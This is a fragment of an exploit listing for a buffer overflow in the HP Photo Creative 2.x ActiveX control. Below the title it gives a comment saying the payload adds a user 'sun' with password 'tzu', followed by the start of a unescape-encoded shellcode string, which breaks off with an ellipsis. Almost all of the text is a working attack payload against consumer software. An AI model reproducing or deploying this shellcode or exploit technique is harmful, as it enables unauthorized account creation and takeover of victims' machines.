HP Photo Creative 2.x Active-X Control Buffer Overflow

//add user one, user "sun" pass "tzu" shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" + "%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c" +...